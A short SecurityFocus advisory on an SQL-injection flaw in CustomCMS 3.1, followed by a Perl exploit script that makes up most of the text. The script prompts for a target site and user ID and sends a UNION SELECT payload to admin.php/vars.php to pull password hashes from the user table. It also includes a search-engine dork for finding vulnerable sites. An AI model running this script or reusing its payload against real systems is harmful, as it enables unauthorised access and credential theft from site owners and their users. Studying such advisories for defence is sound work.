source: https://www.securityfocus.com/bid/27069/info

CustomCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CustomCMS 3.1 is vulnerable to this issue; other versions may also be affected. 

#!/usr/bin/perl
#Found by Pr0metheuS
#Coded by Pr0metheuS
#Gr33tz-Team
#Dork : intitle:"CCMS v3.1 Demo PW"
print "______________________________________\n";
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n";
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n";
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n";
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n";
print "______________________________________\n";
print "[+] Enter SITE:\n";
$SITE = <STDIN>;
chomp $SITE;
print "[+] Enter PATH:\n";
$PATH = <STDIN>;
chomp $PATH;
print "[+] Enter USERID:\n";
$USERID = <STDIN>;
chomp $USERID;
print "______________________________________\n";
#Send Request
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "$SITE$PATH/admin.php/vars.php?page=Console&p=1'+union+select+userid,2,3,PASSWORD+from+user+where+userid=$USERID/*");
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
$con = $res->content;
#FIND MD5 IN TEXT REGEX !!!
if ($con =~ "/([0-9a-fA-F]{32})/") {
print "______________________________________\n";
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n";
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n";
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n";
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n";
print "[+] Exploit successful!\n";
print "[+] USERID:$USERID\n";
print "[+] MD5:$1\n";
print "______________________________________\n";
}
else{
print "______________________________________\n";
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n";
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n";
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n";
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n";
  print "[+] Exploit Failed!\n";
}